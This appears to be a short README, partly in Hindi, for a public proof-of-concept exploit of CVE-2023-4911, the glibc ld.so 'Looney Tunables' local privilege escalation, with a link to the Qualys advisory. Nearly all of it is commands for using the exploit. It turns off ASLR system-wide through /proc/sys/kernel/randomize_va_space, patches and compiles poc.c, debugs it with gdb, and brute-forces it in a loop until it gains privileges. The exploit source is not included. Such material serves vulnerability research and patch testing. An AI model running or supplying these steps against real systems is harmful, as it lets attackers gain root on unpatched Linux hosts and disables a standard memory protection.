green-avocado/cve-2023-4911https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
प्रूफ-ऑफ-कॉन्सेप्ट
इसके लिए विकसित:
Dockerfile शामिल है।
ASLR बंद करें
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
NO_ASLR के साथ कंपाइल करें
$ python3 patch.py
$ gcc poc.c -o poc_debug -DNO_ASLR
gdbscript चलाएँ
gdb -ix gdbscript
$ python3 patch.py
$ gcc poc.c -o poc
./poc; while [ $? -ne 0 ]; do ./poc; done